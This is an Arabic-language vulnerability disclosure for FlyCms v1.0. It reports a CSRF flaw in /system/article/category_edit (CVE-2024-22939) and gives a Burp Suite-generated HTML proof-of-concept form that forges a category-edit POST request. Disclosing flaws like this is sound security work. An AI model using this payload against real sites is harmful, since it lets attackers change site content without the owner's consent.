الهدف: https://github.com/sunkaifei/FlyCms الإصدار: v1.0

اكتشف أن FlyCms v1.0 يحتوي على ثغرة تزوير طلب عبر المواقع (CSRF) عبر المكون /system/article/category_edit

Poc

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.247.192/system/article/category_edit?id=1&name=%E7%A7%BB%E5%8A%A8%E5%BC%80%E5%8F%91123" method="POST">
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

النجاح:

CVE-2024-22939

الأكثر شعبية